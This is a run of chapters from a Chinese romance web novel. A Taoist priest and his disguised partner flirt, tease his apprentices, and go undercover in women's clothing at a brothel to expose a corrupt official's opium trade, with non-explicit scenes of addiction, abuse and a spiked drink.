她虽不是人,动作也很敏捷,但是但凡有一点受伤的机率,林九都不太想让她去尝试。 “你就放心吧,我都盯他好几天了,而且我还有衙役这层身份在呢,凭他的脑子,是看不出来我有问题的。” “你呢,去那个地方实在太难为你,你就在道观或者在我家等我就行。” 静之在林九的眼皮底下,脱了肚兜,然后大咧咧的整理着自己的束胸布,直把他羞得转过身去。 “干嘛?更过分的事你都做过了,现在连看一眼都要脸红?” “你,你……不行,我还是要去。” 林九的脑子依旧停留在上个话题,无法跳出来。 突然,一只修长的手指戳戳他的腰,“九哥,帮我裹~” 血液轰的一声直往脑袋上冲。 林九啪的一声站起来,背对着她,走也不是,留也不是。 “转过来。” 他微微湿润了的手里被塞进裹胸布一角,然后手被她两手牵住轻轻晃了晃。 软呼呼的撒娇女音不仅不会让他生出一点反感的情绪,反而让他心里一通乱跳。 她是你未来的妻,林九,再羞的话,你还是个男人吗? 林九在脑子里劝了自己一会儿,才深吸一口气,慢慢转过身来。 她的恢复力一向很好,这会儿她就如初初绽放的白色栀子花那般,俏生生的坐在那里。 脸上尽是爱恋,还有一点显而易见的调皮。 “你老喜欢逗我。” 他故意叹口气,然后伸手捏捏她挺翘的鼻子,眼神也就大约瞄了一眼,然后非常君子的停留在她脖子以上部位。 “逗你好玩嘛,你脸又红了,嘻。”静之平举双手,微微扬起下巴,笑着说: “来,帮我把你的东西藏起来。” “……” 坏姑娘,说的什么浑话。 眼神虽没往下看,他的手却准确无误,一圈又一圈帮她裹着。 “九哥……裹这么松,一看就暴露了。” 她似笑非笑的看着他发烫的侧脸,手指头忍不住捏了捏他如宝石般的红耳垂。 她建议道:“压下去,裹结实,我有没有结实的胸肌,就全靠你了!” 林九抓着裹胸布的手突然紧紧捏住布条,又骤然放松,一圈一圈往回退。 “之之,裹太紧的话,血液不流畅,对身体不好。” 他嘴里这么说着,手上却还是听从她的话老老实实压紧,一圈一圈裹得结实。 第234章 我们,来日方长 温热的呼吸渐渐远去,林九右手紧紧勾住她的腰带,抿着嘴有些不舍得让她出去。 “九哥……我们,来日方长。” 他迅速收回手,握成拳抵在唇边,有些欲盖弥彰的咳了一声。 “我,我是…不小心的。” 他率先打开木门栓,让小乖进来,“我们出去吧,去我那儿吃饭,我们再商量一下等会行动的细节。” 小样。 不小心的?? 她腰带都被扯松了。 天塌下来,果然有她家阿九的嘴顶着呢。 静之紧了紧腰带,伸头又在他脸上香了一口,这才笑着扯住他的袖子,拖着捂着脸开始止不住傻笑的他往门外走去。 小乖在后面边走边蹦,尾巴都快摇成陀螺了。 “嗷嗷嗷~”饭!小乖要吃饭喽!! …… “别笑了,等会小海他们笑话你。” 进门前,她终于放开了他。 “……好。” 爱痕就像藏不住的咳嗽,总有一个地方会漏出来。 每次静之夹菜的时候,小海跟阿宝就瞪大眼看着她的手。 两三次后,她放下筷子,张开五指翻看自己的手心手背,“怎么了嘛,干嘛一直看我的手?” 小海啧啧摇头,阿宝数着米粒有些食不知味。 师父这只许州官放火,不许百姓点灯啊。 “师爹……不是手,是手腕。” 林九忽然想起什么,扯回她白嫩纤长的手,把她的袖子往下放了放。 “吃饭!看什么看!” “好看,怎么不好看,都敢把人家捆起来那什么了,还不许别人说。”小海小声嘀咕,一双机灵的眼,四处打量着静之裸露在外的皮肤。 可惜,除了手腕处的些微青紫,其他地方都好好的,除了唇有些红。 林九瞪了他一眼,摆出一副严师的姿态,清了清嗓子说: “这几天我没管你们,店应该已经开张了吧,卖得怎么样了?” 阿宝点了点头,朝小海竖了个大拇指: “还是师弟有办法,他说用什么饥饿营销法,每天限时限量,每人仅限买一份,果然很有用,现在大家都提前来找我预约了呢。” 他挠着后脑勺有些不好意思接着说: “我看,不用三个月,差不多一个多月,我就可以攒够钱凑齐我岳父说的那些东西了。” 在林九惊讶的眼神中,小海得意的扬起下巴,一副臭屁得不行的样子。 “那可不,我武功没师兄好,脑子再不活泛一点,可不就被比下去了吗?” “那很好啊。”静之笑眯眯的看着阿宝问:“今晚还过去店里吗?” “不用,我现在一般卖到晚饭前就结束了。” 他说着说着,把头在转向正喝汤的林九: “师父,你帮我择个日子吧,我岳父自从上回那件事情后,他对我有所改观,他说只要我筹齐东西,不让小珠过苦日子,婚约照旧。” “我想,我想……两个月以后,看看有没有宜嫁娶的好日子。” 静之双臂交叉叠在桌上,脸上带着揶揄的笑,看着阿宝: “等不及要娶美娇娘啦?女孩子都是怕水蛭这一类东西的,上次你全身都是,她敢冲过去帮你抓下来,我觉得她是真喜欢你。” “真,真的吗?”阿宝富态的圆脸上突的出现一抹红润,他有些局促地紧了紧筷子,“那时候我离魂了……小海你怎么不告诉我?!” 对上阿宝质问的眼神,小海摊手: “你又没问,而且反正你们都是要成亲的,我告不告诉你,又有什么区别呢?” “有区别。”阿宝一脸认真的说:“小珠一向听她爹的话,我坚持了这么多年,说实话……有时候我都在想是不是我一厢情愿。” 说着说着,他的声音越来越低,明显带了几分失落。 突然间,他昂起头,又拔高声音说:“既然师爹刚刚这么说,那我相信她是爱我的!” “既然有心要娶,你好好干,我会给你找个好日子的。”林九撩着袖子,不紧不慢的给静之夹了块肉。 她看了看碗里的肉,又看了看端着碗喝汤的林九,突然笑着问: “九哥,那……不如双喜临门,咱们同一天成亲吧!” “噗!” “噗!!” “噗!!!” 她后仰身子,让那三个喝汤的男人互相对喷。 “干什么这么激动?” 林九拿出手帕擦了擦嘴,耳朵在烛火的照耀下红得透明。 小海瞪大了眼,一脸不可置信。 “师父,你们在一起就算了,真要成亲??” “两个男人真的可以成亲吗??” 完了完了,他师父真是上头了。 虽然静之人品好,又长得好。 但是一旦林道长要与男人成亲的风声放出去,他们不会受万人耻笑吧?? “静之……”林九在桌下揪了揪她的袖子,“真的还不告诉他们吗?” “告诉我们什么?”阿宝的眼里满是求知欲。 “才不要。”她呲呲呲的,笑得狡黠,“你看他们多有趣。” “师爹,你就告诉我们嘛,是不是什么赚钱的新招?” 她捻起一颗干花生弹向他的眉心,“你是不是掉钱眼儿里面去了,不担心你师父被人笑的事儿啦?” 他其实也就惊讶了那么一瞬,此时无甚所谓的捡起掉在桌上的红皮花生,指尖微微捻动,炒干水分的花生立刻脱了皮。 他头一仰,花生一丢,吊儿郎当张嘴吃掉它,才对静之摇了摇手指头。 “笑不笑是别人的事,反正师父总会跟你成亲的,我再担心又有什么用呢?” 说的也是。 一脸担忧的阿宝跟着松了口气,把他师父的事儿抛在脑后,接着大口炫起了饭。 “哈哈哈哈哈,九哥。” 静之瞧着他俩的样子,靠在林九的肩上,笑得直不起腰,“他俩太好玩了!” 她就玩吧,徒弟反正闲着也是闲着,拿来给她玩一下其实也无所谓。 “吃好了吗?吃好了咱们该出发了。”林九拍了拍她放在他肩上的手。 “你们要去哪?”小海问。 “如意阁。” “青楼?你们??” 小海的三观受到重创。 难道,他们自己玩还不够,还要去找个姑娘一起玩? 林九看他那龇牙咧嘴的怪样儿,忍不住给了他一个重重的栗子。 “不是你想的那样,我们有正事……反正你跟你师兄看好道观。” “哦,对了,记得喂狗。” 第235章 盛放之后是凋零 两人走出道观,小海跟阿宝扒在门口看着,小红没事干,跟着飘了出来。 “道长他们去哪里啊?” 阿宝老实交代:“如意阁。” 小海恨铁不成钢白了他一眼:“是酒楼!” 小红死的时候还是个黄花大闺女,他师兄有时候真的是有些缺心眼。 “哦。”小红捂着唇温柔一笑,“你们两个怎么不一起去啊?庙里有我和我妈看着就成。” 他们师徒几个,不是一般都一起行动的吗? 小海和阿宝对视一眼。 小海:“你去不去?” 阿宝猛摇头:“我?算了吧,给小珠看到了会误会的。” 小海一把夹住他的胳膊,“哎呀,我到时候会跟她解释的,你就不想去看看师父他们去青楼能干什么正事吗?” “我是有些好奇,但不多。”阿宝还是有些犹豫。 “小红!你看家,我们走喽!” 小海不容质疑,强行拉着半推半就的阿宝,偷偷跟在他们师父屁股后面…… …… “哎呀,林大人,真是非常抱歉,小娟她们两个昨儿被其他恩客喂了太多大烟,这会儿起不来了。”如意阁的老鸨手指头不停绞着帕子,一脸谄媚的对着静之道歉。 静之缓缓扇着扇子,眉心却渐渐蹙了起来,脸上满是不悦。 “威大人马上就要来了,今晚他可是有贵客上门,她俩起不来,我上哪儿再找两个会弹琴又会跳舞的服侍?” “我看,你这颗脑袋是不想要了。” 老鸨后脖子一凉,心里已经把官家骂了千百遍,脸上还得做出一副迎合的姿态。 “这,我确实是没办法,要不,您从二等妓子里边儿选两个?” “……你引我去看看小娟再说。”静之扇子一合,严肃说道。 “唉,行吧。” 要看就看,这回她可没说谎,起不来就是起不来。 不仅起不来,她看小娟命都要抽没了,唉,干这行的,都如同蝶儿一般,活不长久。 她看了一眼静之身后带着斗笠的男子,也没有多问。 官家的事情,她一介贱籍的女流可管不动。 老鸨带着他俩,穿过灯红酒绿的喧闹人群,走到角落的楼梯口,上了二楼。 二楼处处房门紧闭,也有几间微微敞着,男女之间的调情声混合着不堪入耳的淫靡之声,若隐若现。 林九啪的一声,突然紧紧牵住静之的手。 静之不动声色的把二人交握的手往身后藏了藏,对疑惑回头的老鸨翩然一笑。 “请带路。” “这边请。”老鸨故作无事,指尖一比右侧的厢房,转回头接着给他俩带路。 心里却无比嫌弃。 既是断袖,来她如意阁干什么? 不是应该去对面的小倌馆吗? 老鸨拐过弯后,林九趁机在她耳边说: “不许乱看。” 她无辜回望,“我才不想看,都没你身材好。” “……那你肯定看了,不然怎么知道我身材好?” 说得好有道理,她竟无法反驳。 她把他撩起的黑纱放下,憋出一句:“那你也不许看。” 林九正的发邪,他不仅没看,刚刚恨不得手动闭耳。 “你放心,我看一眼别的女人就想吐。” 说得太有事实依据,她又无话可说了。 “……哼,赶紧走。” 也许是人之将死,没了利用价值,小娟二人不仅连自己原本的房间都被霸占,甚至连个单间都住不起。 最角落一间卧房,原本垂着的半透明挂帐,有些失了颜色,上面还破了好几个洞。 透过破洞,可以看到房间左右各放了一张床。 两个女子侧卧着面对面,各自手执一管大烟,沉浮在虚幻快意中无法自拔。 屋里一股浓重的大烟味扑鼻而来,静之一脚踏进房间,不由得呼吸一滞。 “怎么不开窗?” “她们俩要是还能起得来就有鬼了。” 老鸨用帕子掩住口鼻,有些埋怨骂道:“抽抽抽,怎么不抽死你们算了。” “你们要看就看,我还是去准备两个二等妓子吧。” 说完她腰一扭,就走了出去。 静之伸手拦住林九,屏住呼吸闷头冲了进去,乓乓乓的把所有窗户全部打开来。 穿堂风顺着门大力刮进屋里,新鲜的空气把浓厚的大烟味瞬间替换得七七八八的。 她这才敢敞开肺管子大力吸一口新鲜空气。 “九哥,你帮我看着门,别让人靠近。” 林九虽不知何意,但仍点点头站在门口,他身姿挺拔,一袭黑衣给他穿得板板正正,愣是多了几分男人的稳重。 静之流连几眼,转回头,却看到小娟正对着她笑。 身为前任花魁,小娟不说倾国倾城,一张心形脸也端的是清纯可人。 可此时她脸色苍白,虽在笑着,瘦到隐约可见指背青筋的手却还微微颤抖的捏着一个烟杆子往嘴里送。 静之眉头拧得都能打结了,她一把夺过烟杆,忍不住骂一句: “别抽了,我当初把你爹绑到城门口的时候,对你说过什么,你都忘了吗?” “呵……”她好似冷了,拿起腿上的毯子往上盖了盖,“你不懂,戒不掉的,我没有办法。” “怎么没有办法,你的山哥呢,你不是要等他来赎你吗?你不振作起来,没等他来,你就得……” “闭嘴。” 小娟嘴角的笑意渐渐消失。 满脸皆是冷凝之色,倒是她对面的前前花魁烟娘笑了。 烟娘整个人的气质与小娟截然相反。 若小娟是盛夏含苞待放的睡莲,烟娘就是阳光下怒放的牡丹。 此时这两朵花正显而易见的慢慢凋零下去。 “他不会来了。”烟娘轻扯了一下嘴角,缓缓吐出一股白色烟雾,仿佛堕入地狱的妖精。 “男人这种东西,我看太多了,皆是言而无信。” 看到静之一脸不信的样子,她对着对面的小娟嘲讽一笑,眼里又流出几分怜悯。 “她呀,昨晚是她初夜的拍卖之日,那个叫山哥的,一听到这件事,跑得都没影儿了。” 小娟突然睁眼,冷眼看着烟娘一笑。 “你又好到哪里去,等你的情郎等了三年,连个人影都见不着,就算你跳断腿,他也没来如意阁再看你一眼!” 两人杀人诛心的话越说越多,静之捏着眉心听得头都大了。 “等等等等,小娟的事儿,过后我会找老鸨算账,话说你们俩真的起不来吗?说好了要帮我监听威霸天那个狗东西的,他可马上就要来了!” 第236章 反差感极强的裙子 要不说当过花魁的,都是有点性子的人。 烟娘别过脸去,慢条斯理吸了一口大烟,然后彻底摆烂。 “她去不了,我也不想去,没人给我弹琴,我干跳啊?” 老鸨这种用完就扔的操作,也给她直恶心得不行。 她今天才不干活呢。 最好是威霸天能够大闹如意阁,把这里封了才好。 “烟娘,大局起见,你就帮帮我嘛。”静之半蹲下来,半撒娇式的帮烟娘捶两下腿。 当时小娟被她狠心的爹反手卖入如意阁,还是烟娘出面接受这个青涩的姑娘。 仿佛是腐烂之地唯一的一捧清泉,小娟被烟娘护得很好。 尽管花名远播,但平时只要弹弹琴,奏奏乐就得了。 这回,小娟被强制拍卖,伤心的,恐怕不止小娟本人,还有人生再也找不见一丝光亮的烟娘。 她轻轻一脚抵开静之的肩膀,悠悠叹息一声,把脸转回墙壁。 “我帮不了你。”她涂了大红豆蔻的尖尖细指轻轻挑起盖着腿的毯子,包裹着纱布的伤腿顿时暴露在静之眼前。 “昨儿为了救她,连我这条腿都折里了,以后……我怕是再也跳不动舞了,你,另寻高明吧。” 静之脸色黑得惊人,拳头捏得嘎嘣响,“是谁干的?” 闭上眼的小娟突然睁眼,面露讥讽,“怎么,难道林捕快想为我们报仇?” 她冷冷一笑,放下烟杆,两手抓着领口用力揭开。 密集的欢爱痕迹布满了她整个脖颈,其中还隐约带着还未痊愈的红肿鞭伤。 “我能有今天,不就是拜你们官府的大人所赐的吗?!” “今晚,我说什么都不会去,你还是请回吧。” “威霸天干的?!”静之目露愤恨与对她怜惜,从怀里掏出一瓶金疮药放在两人中间的小几前。 然而指尖刚碰到小娟的衣领,就被她一巴掌狠狠拍掉。 “别碰我!” 听到一声清脆的巴掌声,林九立马回过头。 看到静之的手背顷刻间红了起来,他的嘴唇立马抿成一条直线。 紧绷的身躯之下是勃发的力量,整个人的气势由稳重变得有些骇人。 似是察觉到了什么,静之回首对他轻轻摇了摇头。 “我没事。” 静之收回手,站了起来。 “好,我不碰你,那你等会记得自己上药,或者叫烟娘帮帮你。” “我才不帮她,死犟种,要是不反抗,能被打成这样吗?”烟娘一脸傲娇的翻了个白眼。 静之无语凝噎。 还不知道是谁犟。 她烟娘要是不犟,腿能折吗? 她闭了闭眼,按住有些发胀的太阳穴,“那算了,我另寻办法。” …… “静之,有人来了。” 林九走过来说。 “谁?”刚问完,林九还未回答,老鸨就扭着腰急匆匆赶了回来。 “小娟,威大人今晚还是点你啊,快别抽了,换个衣裳赶紧过去——” 人还没来得及进屋,就被林九两下定在原地。 看着林九跟洁癖发作似的,在门头对着月光擦手指头,知道对付女人时指望不上他,于是静之一把扛起僵住的老鸨,将她藏在隔壁黑漆漆的空房间里。 “小娟,你们的衣裳有没有啊,借两件穿穿,今天就让我去会会那个狗东西。” 不仅小娟,烟娘也一同转回身子,有些不可置信的看着从门口走进来的静之。 “你还真要跟你上司作对啊??” 静之耸了耸肩,“当然,我留在衙门的原因之一,就是为了收集证据,然后将他拉下那个位置!” “赶紧的,不然来不及了。” …… 过了一会儿,站在屏风后的林九垮着个脸,一脸委屈看着静之。 “之之,我不想穿别人的衣服。” 特别还是女人的。 一看到那件水烟色露锁骨的长裙,林九就浑身直刺挠。 静之二话不说,把他腰带解了,再把他揪得死紧的领口一把拉开。 “你放心啦,这是纯新的,烟娘腿长,身量高,这套算是她最保守,且最合适你的裙子了,你就坐旁边帮我弹琴奏乐,我来跳就行。” 箭在弦上,不得不发。 林九面如死灰,任静之给他套上了裙子,带上了假发,和面纱。 还真别说,林九宽肩窄腰,四肢修长,眼神清冷,穿上这套衣服,别有一番清冷美人的韵味。 林九觉得有些别扭,转了转胳膊,又动了动肩膀,而且老是觉得背凉飕飕的。 该不会……是见鬼了吧。 静之扒着多动症发作的林九,把他往外推。 “你外面等我,我很快就好!” 林九一转过身去,静之瞬间惊得捂住了嘴。 正面瞧着一本正经,背面的布料材质又薄又透,林九覆上一层薄肌的背部,和紧窄的腰线若隐若现。 我嘞个乖乖! 正面禁欲,背面撩人。 这件衣服简直牛逼克拉斯。 等会用完,她要找烟娘买下来带回去,然后,hia hia hia~ “有什么不对吗?” 林九摸着凉飕飕的腰后,有些不明所以。 难道,是昨晚破了童子身,所以体虚怕冷了? “没!” 静之赶紧把头缩回屏风后,拿着另一套水青色的纱裙换上。 换到一半,林九进来阻止她拆裹胸布。 “不许拆。” 他眼里的醋意,就算是个傻子也能看得分明。 静之无所谓的耸耸肩,“不拆就不拆,就当我是个平平无奇的舞女好喽。” 静之穿好衣服出来,觉得自己输林九一筹,这裙子一点都不牛逼,威霸天真的能卸下心房,让她探听到一星半点的线索吗? 林九倒是满意极了。 该遮了都遮了。 如果能把脸也挡挡就好了…… 想到这儿,林九来到梳妆台前,选了一个镶着银丝边的白色半透明面纱,给她戴上。 “那个……朦胧美,也是美的一种。” 静之右手伸到他后腰,隔着一层薄纱拧了一把他的皮(没办法,他天天练功,一点赘肉都无)。 “大醋精,走啦!” 走出房间后,她的及腰白发在月光中寸寸变黑,更显得她肤白胜雪,一袭飘扬的青纱长裙,显得她恍若森林中不谙世事的神女。 “……” 林九的余光止不住的往她身上瞧,烟灰色面纱下的嘴角都要撇到下巴了。 未来娘子太好看了怎么办? 他都不想让她出门了,更别说还要去给那个大色狼跳舞。 “对了,你会跳舞?”林九问。 静之叮的一声,弹了弹腰上缠着的软剑。 “剑舞,怎么不算舞呢?” …… 此时的林九万万没想到,她身上那条看着十分淑女的裙子,才是真的让人惊爆眼球! 第237章 爱好别致 “喂,师兄,看到了没有啊?”小海大腿不停抖动,憋得满脸通红,眼看就要撑不住了。 阿宝斜着身子,不经意间将全身重量挪到小海肩膀一侧,“往左边点,看到那个狗官了……oi,oi,别倒!” “砰!” 阿宝是一个将近二百斤的敦实胖子,小海实在撑不住了,两人瞬间在如意阁后面的草地上滚作一团。 屋里的威霸天跟一个金发碧眼的鹰钩鼻大叔却不为所动。 也许是自信没人敢偷听他们说话,没一个人上前查看的。 他们跟被迷了一样,一个看着正舞着剑的静之,一个将目光死死锁定在房间左侧角落,正坐着弹琴伴奏的林九。 “我说马可……你当真喜欢那个黑的?” 威霸天眼睛都不带眨的,紧紧盯着静之的动作。 他被静之每次大幅度踢腿时,隐隐露出来的大长腿迷得死死的,当余光瞄到角落的林九时,却忍不住抖了一下身子。 古铜色的皮肤,冷冰冰的气质,实在不符合他的审美。 不行,他还是要这个白白嫩嫩的好了。 光是她那双清灵剔透的眼睛就能把他勾得死死的。 他可最爱看这类花季女孩堕落后,那生不如死又不得不委身于她的样子了。 “呵呵,你懂个屁。”马可怪腔怪调说着,眼睛完全无法从林九身上挪开。 那举手投足间的肌肉线条,那健美的肤色,高挑的身材,那宛如冰雪女王一般,不屑且冰冷的眼神,每一处都死死戳中了他的xp。 就连刚刚走进来时,只让他窥到一眼的性感后背,他也觉得美得恰到好处。 “没想到东方也有如此美丽的维纳斯,我决定了,今晚,我就要她陪我!” “呵。”轻巧的软剑被静静舞出了一道道光影。 刺眼的银色光影中,她的眼仿佛在笑,又仿佛毫无感情。 她的剑尖突然一转,划破空气,直取威霸天喉咙。 仿佛被敌人锁定,威霸天竟觉得无法起身,腿瞬间软的不成样子。 “叮。” 剑微微下弯,那剑尖之上稳稳立着个酒杯,盛了三分之二的酒,一点都没洒出来,正正好好伸到了威霸天的鼻尖。 “大人, 何不多喝几杯,这酒可是上好的女儿红,拿来招待贵宾,再好不过了。” 恁爹的。 狗洋鬼子敢肖想她家阿九,待灌醉了你们两个,我就一剑送你们上西天! 而且,她家阿九是不是被那洋鬼子满嘴的荤话调戏生气了? 她刚刚舞到他身边时,她都听到他磨后槽牙的声音了。 另外一边,此时的林九,哪里还关注得到那洋鬼子说了什么屁话。 他未来夫人身上的裙子在慢慢走动时,裙摆纷飞,好看得紧。 就这样,他都要醋死了。 没想到的是,刚刚静之一个大跳旋转,一双肉感匀称的美腿就这般突兀的出现在他眼中。 早知道这裙子从侧边开了高叉,他死都不会让静之穿出来。 当然,不仅他看到静之的美腿,一看那个狗官口水都要流下来了。 同为男人,他知道那狗官此时脑子里在想些什么。 林九费了老大力,收着劲儿轻拢慢挑着琴弦,就怕自己一时控制不住怒火,拔下一根弦,射瞎他的眼。 这是个寂静的厢房。 威霸天为了谈事,也没敢在大庭广众下就与马可交易。 看着两个美人一舞一弹,都在忙活自己的事儿,他端着小酒挪到了洋鬼子身边。 “马可,剩下的货呢?城里的货不多了,最近上头管得紧,你之前说好的那批货我没收到呀,被卡在关口处进不来了。” 那洋鬼子端着酒站了起来,醉意有些上头。 他伸出两根手指,欲撩下林九的面纱,一窥芳容。 却被他突如其来的一个冷厉眼神直接瞪了回去。 第238章 别乱说话 “侠女饶命,侠女饶命。” 威霸天抖着手,态度上直接就是一个大写的怂。 “唔……” 怎么回事,怎么头晕晕的,还有点热? 静之身子不由自主晃动了一下。 威霸天看她好似提不动剑了,一把夺过桌上的枪,就朝静之射去。 还没开枪,整个人就被窗外翻进来的人扑倒。 “压不死你!”阿宝一个肘击直接将威霸天击晕。 小海跟着幸灾乐祸的翻了进来。 “叫你欺负我师爹,还被我师兄看见,他现在啊,可是师爹吹,这回你可算是倒大霉喽。” “你们两个来干什么?”静之本想用剑撑着地板,却没想到剑是软剑。 她身子一歪,眼瞅着就要往一边倒去。 林九一把揽住她的腰,顺势搭住她的脉搏查看。 “师,师,师父?” 小海揉了揉眼睛,简直不敢相信他看到的。 眼前这个棕皮冷美人,还是他家那个不苟言笑的师父吗? 啧啧啧,他师爹穿女装就算了,刚刚背对着他们弹琴的那个背影,他就说有点熟悉嘛。 没想到竟然是师父??? 林九皱着眉,放开静之的手腕,一把将她抱起。 “敢将今天看到的说出去,你们两个的小命也到头了。” “阿宝,你把威霸天和这个外国人绑起来,就扔到……我们上次去看病的郊外那处别院里,把他们嘴堵上,等我空了,就过去审。” “小海,立刻召集梁家人,去西城门外五里处的乱葬岗,找一批大烟。” “切记,不可用焚烧或者掩埋的方式毁掉,趁现在天黑,送到北门海口,立刻用海水浸化法销毁。” 林九一一交代完,跳出后窗前,静之捂住发烫的脸,虚着眼神回头,也补充一句: “对方可能会有人看守,他们手中有洋枪,你叫梁家人的时候,注意带上会武的和铁质盾牌,就说是我说的。” …… 林九翻到小娟她们房间换回衣服时,才从小娟她们嘴里得知,如意阁的酒里或多或少会加点料这个事儿。 静之现在有些自身难保,她只来得及说一句明天就来救你们之后,就被黑着脸的林九驮走。 “还想救她们,你怎么不看看你现在成什么样子了?” 什么都嗦,什么都喝,也不考虑考虑后果。 静之趴在林九的背后,用滚烫的脸颊贴住他微凉的颈侧,撒娇道: “我哪知道会这样嘛,我看你在生气,我才过去喝了的。” 她迷离着眼神,从侧边挑逗似的划拉着他线条流畅的下颚。 “一点点催情药而已,不碍事。” 林九倏然紧绷下巴,咽了口口水,身体被她调情的举动渐渐唤醒情欲,脑子里却还是在为她担忧。 “万一有毒怎么办,你以为猫真有九条命吗?” 静之突然将脸埋进他的右肩窝,“呜呜……你别骂我嘛,我会哭出来的。” 林九僵了一瞬,察觉到她在轻轻抖动后,抿了抿唇,刚想对她低头,耳朵就被一把揪住。 “哈,开玩笑的,我才不会哭呢!被我骗到了吧!” 调皮死了。 捣蛋死了。 却又……十分可爱。 心尖尖仿佛被小猫咪踩了一jio,林九在她手里的耳垂渐渐开始发烫。 静之挑着眉,半眯着眼,将视线聚焦于她指间越来越红的耳垂,突然狡黠一笑。 “啊呜!” “之之要把相公的耳垂一口咬掉!” 林九浑身一震,快走突然变成快跑。 “……嗯……你忍住,马上就到家了。” 静之:“是我忍,还是你忍?嗯?” 老天爷,猫咪都这般磨人的吗? 林九专挑没人的小巷里奔跑着,他夫人这般勾人的模样,谁要是看上一眼,他都得过去把他眼睛抠出来。 “……我忍。” “还有,你再说话,回到家我饶不了你。” 被偏爱的人总是有恃无恐。 静之甚至晃荡着两条大白腿,凑到他耳边说起了土味情话。 “你要怎么饶不了我?” “九哥,你这么完美,其实还缺一样东西——缺个老婆。” “九,我想吃火锅,吃你这个大帅锅。” 她举起手伸到他眼前,“这是我的手背。” 然后向前抬起脚,“这是我的脚背。” 第239章 上另一座坟 静之双手紧紧抓着被单,一脸警惕的看着他。 “不行,明早我还要去上坟呢,你可不能再来了。” “咔哒。” 寂静的夜里,褐色的药膏罐子被轻轻放在床边的桌面上。 林九掀开被子,轻轻躺到她身侧,实在忍不住,长长叹了口气。 “又上什么坟?你这次都把威大人还有那个洋人给一网打尽了,还不消停点?” “上学啊。” “上学跟上班一样,活人微死,欲哭无泪,还不得不去,不是上坟是什么?” 静之捧着心口,装作一副痛不欲生的样子,“一想到要上学,我就开始心发慌,手发汗,恨不得反手一颗炸弹炸了梁家。” “呵。”林九轻轻弹了下她的脑门,“你啊,既然这么讨厌学习,为什么还要学医呢?” “你可要知道,学医不比其他,不花个十几二十年,说不定都不会有所小成。” 静之一把抓住他的唇,手动消音,并撅起嘴埋怨: “你别再吓我了,既然下定决心要好好学习,不管前方的路有多难走,你都要陪我一起。” 试问若是一个来自现代的后人来到这个硝烟四起的时代,看到在历史中沉浮悬溺的祖先,有谁会忍心就这般看他们死去呢。 既然小金不让她改变历史进程,那她以守为攻,尽力去保存有生力量,也算是不虚此行了吧。 而且,阿九上辈子的心愿,不就是要多攒些功德吗? 让这辈子的林九陪着一起做这些事,天道应该不至于瞎了眼,不给他功德点吧…… “好,我陪着你,睡吧,明早我送你上学去。” 未来妻子这般有志向,他怎么能阻拦呢。 林九亲了亲她的额头,将她揽进怀里,轻轻拍着她的背。 都快睡着了,静之突然来一句: “明早你送我到梁宅门口就好,你不许偷偷进去,要是又晕了, 我就不理你了。” 她是他肚子里的蛔虫吗? 怎么知道他的小心思? 罢了。 她此时此刻真真切切的就躺在他身边,林九也不想强求了。 “……嗯。” …… 操劳半宿,她以为她会起不来床。 可能是心里挂念着还要上课的事儿,天蒙蒙亮,鸡刚一叫,她就醒了。 这久违的心慌感,让她忍不住低声怒骂。 “总有一天,我要把学堂都炸了!” 林九眼未睁,就把头埋进她香香软软的肩窝里低声笑着。 “笨蛋,那可是你本家的学堂。” 也是你家的。 你才是笨蛋。 静之一脚蹬飞被子,双臂拉住他的手,把还闭着眼的林九也拉了起来。 “你也不许睡了,说好要送我去上学的。” “好好好,不睡。” 他睁开双眼,眼里一片清明,哪里有困顿的模样。 惹得静之骑在他身上又是一顿蹂躏。 此时林九的脸被捏成了个奇怪的鬼脸,静之咬咬他微凉的鼻头说: “怎么你一点都不累的样子?” 她可以通宵,但不能熬半宿睡半宿,睡半宿起来能累死。 林九这又是为何。 “不累,平时我也是这个点起的。” 他轻轻拿下他脸上作乱的那两只手,微微挺了挺身子。 “还玩……你今天就上不了学了。” 似是感受到什么,静之瞬间弹射起步,噌的一下,就跳到床下。 他曲着胳膊,微微撑起上半身,侧卧着看那跳脱可爱的小妻子,嘴边噙着一抹宠溺的笑意。 突然,笑意凝在嘴边,林九有些迟疑。 “你……今天要穿女装?” 静之展开一抹淡蓝色的襦裙,往身上比了比,朝他眨了眨眼,笑着说: “我要吓死你那两个徒弟,哈哈!” “你等会穿好衣服先过去,可别说漏嘴哦。” 等正常男人的反应消停下去,他坐了起来,慢条斯理的穿好自己的衣物。 “你啊,我那两个徒弟迟早被你玩死。” 她扣好脖间的盘扣,快走两步,凑上前亲亲他的侧脸,然后把他往门外推。 “就玩一下嘛,等会就要上坟去了,还不让我玩一把?” 行行行,她就玩吧。 “我过去了,你等会过来吃了饭再去。” “好!” 嘭的一声,房门关上了。 林九站在紧闭的门前呆了一瞬,浅笑着摇摇头,一脸无奈的回去了。 …… 初生的太阳不敢与她眼底的笑意争辉,明媚的脸上略施薄粉,静之全副武装站在了隔壁师徒三人面前。 林九和两个徒弟已然看呆了去。 昨天来不及上妆,她已是美极。 今日的她,仿佛比昨天更增了一分娇媚。 林九突然走过去挡在她跟前,怒瞪两个嘴都合不上的徒弟。 “再看,就把你们两个的眼睛抠下来下饭。” 佳人的容颜在一瞬间突兀的换成他们师父的大黑脸。 小海跟阿宝赶紧扣着头,坐回饭桌上。 小海:“好家伙,师爹变师娘了,师父,师娘可真漂亮,你真是赚到了!” “是啊。”阿宝跟着拍起了马屁,“我就说男人哪有那么细心,帮我们安排好后路!” 林九牵着乐滋滋,尾巴快翘到天上去的她来到桌前坐下。 “以后统一叫师娘,也别对她动手动脚的,听到了没有?”林九板着脸交代。 “听到啦!” 小海撑撑胳膊,和阿宝对了个眼色。 两人各自从身后拿出个礼物。 小海:“呐,为了庆祝师娘第一天上学,这是给你的书包。” 阿宝递过去一个胡桃色小漆盒: “喏,不知道你中午回不回来吃饭,里面是我自己做的饭团跟店里的叉烧,都是新鲜的,饿了你就吃。” “嚯!你们倒是有心,那我就收下啦!” 静之接过东西,就看到小海跟阿宝对着她身边的林九嘿嘿直笑。 “嘿嘿,师父,你呢?当人家未来相公的,不会连个开学礼都没备吧?” 小海眉飞色舞的,两手捧着脸,一脸期待看着他。 臭小子,看热闹不嫌事儿大。 林九剜了他一眼。 然后从身后拿了个两个盒子出来。 一个长条形,一个方形。 “你……现在别打开,到学堂再开吧。” 搞什么东西? 他怎么脸红了? 上学用的东西,不过笔墨纸砚,他是送了什么见不得人的东西吗? 静之看了看她跟前的两个小盒子,又看了看默默红了耳根子,低头喝粥的林九。 罢了,他估计不想给这两个徒弟看到吧。 感觉生活突然有了憧憬。 静之甚至开始期待起了到学堂的那一刻。 “快吃快吃,我要迟到了。” 林九默不作声,小海调皮一笑: 